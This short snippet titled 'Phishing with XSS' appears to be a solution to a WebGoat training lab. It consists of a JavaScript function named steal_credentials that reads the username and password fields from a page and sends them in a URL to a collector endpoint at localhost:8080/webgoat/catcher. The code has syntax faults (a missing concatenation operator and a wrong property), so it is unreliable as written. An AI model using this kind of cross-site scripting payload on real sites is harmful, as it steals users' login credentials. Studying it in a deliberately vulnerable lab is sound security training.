Phishing with XSS

<script type="text/javascript" >

    function  steal_credentials()
    {

        window.document.href = "http://localhost:8080/webgoat/catcher?PROPERTY=yes&user="document.getElementById("user").value +                                          "&password="+ document.getElementById("password").value ;

    }

</script>